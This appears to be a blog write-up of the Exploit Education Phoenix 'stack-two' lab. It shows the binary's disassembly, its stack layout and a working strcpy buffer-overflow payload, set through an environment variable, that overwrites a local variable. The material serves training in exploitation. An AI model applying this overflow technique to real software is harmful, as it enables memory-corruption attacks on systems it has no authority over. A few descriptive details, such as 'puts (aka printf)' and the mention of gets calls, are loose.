If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah
. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
Quick Overview
Similar to Stack One, Stack Two exercise motive is to smash the stack to modify other variables in the stack to a hex value 0x0d0a090a
but receives the value from the environment variable ExploitEducation
. Technically, similar to gets
in Stack Zero, strcpy
function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared variables in stack. If you take closer look at the struct which isn’t dynamically being allocated by malloc
function, so probably the struct which contains both char buffer[64]
and volatile int changeme
stays in main stackframe.
Disassemble
Disassembling the code will get you overall idea behind the stack-two code, One can use gdb ./stack-two
to start debugging it in runtime.
gdb ./stack-two
- Type
disassemble
to get the disassembled code (assembly)
0x00000000004006ad <+0>: push rbp
0x00000000004006ae <+1>: mov rbp,rsp
0x00000000004006b1 <+4>: sub rsp,0x60
0x00000000004006b5 <+8>: mov DWORD PTR [rbp-0x54],edi
0x00000000004006b8 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x00000000004006bc <+15>: mov edi,0x400790
0x00000000004006c1 <+20>: call 0x400500 <puts@plt>
0x00000000004006c6 <+25>: mov edi,0x4007da
0x00000000004006cb <+30>: call 0x4004f0 <getenv@plt>
0x00000000004006d0 <+35>: mov QWORD PTR [rbp-0x8],rax
0x00000000004006d4 <+39>: cmp QWORD PTR [rbp-0x8],0x0
0x00000000004006d9 <+44>: jne 0x4006ef <main+66>
0x00000000004006db <+46>: mov esi,0x4007f0
0x00000000004006e0 <+51>: mov edi,0x1
0x00000000004006e5 <+56>: mov eax,0x0
0x00000000004006ea <+61>: call 0x400510 <errx@plt>
0x00000000004006ef <+66>: mov DWORD PTR [rbp-0x10],0x0
0x00000000004006f6 <+73>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004006fa <+77>: lea rax,[rbp-0x50]
0x00000000004006fe <+81>: mov rsi,rdx
0x0000000000400701 <+84>: mov rdi,rax
0x0000000000400704 <+87>: call 0x4004d0 <strcpy@plt>
0x0000000000400709 <+92>: mov eax,DWORD PTR [rbp-0x10]
0x000000000040070c <+95>: cmp eax,0xd0a090a
0x0000000000400711 <+100>: jne 0x40071f <main+114>
0x0000000000400713 <+102>: mov edi,0x400828
0x0000000000400718 <+107>: call 0x400500 <puts@plt>
0x000000000040071d <+112>: jmp 0x400733 <main+134>
0x000000000040071f <+114>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000400722 <+117>: mov esi,eax
0x0000000000400724 <+119>: mov edi,0x400870
0x0000000000400729 <+124>: mov eax,0x0
0x000000000040072e <+129>: call 0x4004e0 <printf@plt>
0x0000000000400733 <+134>: mov edi,0x0
0x0000000000400738 <+139>: call 0x400520 <exit@plt>
Before taking a look at the code, if you disassembled the stack-two using gdb to view the assembly instruction, you may notice the puts, exit and gets function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/stack-two, brought to you by https://exploit.education
message via Puts (aka printf) method - Utilizes
getEnv
akagetenv@plt
toExploitEducation
pointer in the memory - Set
locals.changeme
variable tozero
or0x00
in hex - Strcpy
locals.buffer
variable filled by declared environment variable - Verify
locals.changeme
is0x0d0a090a
in hex - Use puts(aka Printf) method to greet the user again with decision (cmp instruction)
- Finally exits the program with
exit(0)
system call instead of returning to the main function invoker
Memory Allocation
As you see that the locals
struct isn’t dynamically allocated, they are allocated in the stackframe same as main
function gets executes. The main function starts executing my pushing $rbp
to stack at 0x7fffffffe600
and then rsp
to $rbp-0x60
as expected the stack grows from top (higher memory address) to bottom (lower memory address).
You can see that locals.buffer
(64 bytes) gets written at $rbp-0x50
i.e 0x7fffffffe5b0
and locals.changeme
integer variable (4 bytes) at rbp-0x10
i.e 0x7fffffffe5f0
. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the stack to overwrite locals.changeme
. If you playaround with these memory layout behaviour, you can note that the char buffer
variable writes from $rbp-0x50
towards $rbp-0x10
.
Exploit
As previously discussed locals.buffer
and locals.changeme
are allocated nearby each other in stack. So, if your input of 64 characters (example: 64 * ‘A’) wouldn’t overrite the locals.changeme
variable, but if you do the same with 65 characters, you have succesfully overwritten locals.changeme
variable succesfully. However, our challenge is to overwrite locals.changeme
variable with 0x0d0a090a
. If you try generating the payload simply (A * 64) + '\x0d\x0a\x09\x0a'
, this would represent in the memory as 64 'A's & 0x0a090a0d
😵. Remember Little Endianness ?, Yes Intel or AT&T syntax follows Little Endianness, so the representation should be in reverse order as 'A'*64 + '\x0a\x09\x0a\x0d'
.
You’ll have to set the environment variable before executing the payload.
> export ExploitEducation=$(python -c "print('A'*64 + '\x0a\x09\x0a\x0d')")
(gdb) r
Starting program: /opt/phoenix/amd64/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[Inferior 1 (process 426) exited normally]
There you go! 🎉 You’ve officially pwned
the binary
and possibly you could control the program flow and may
eventually perform remote code execution in the system. 🪲
Source and Reference:
- Stack Two Exercise: Exploit Education
- Architecture 1001: x86-64 Assembly
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.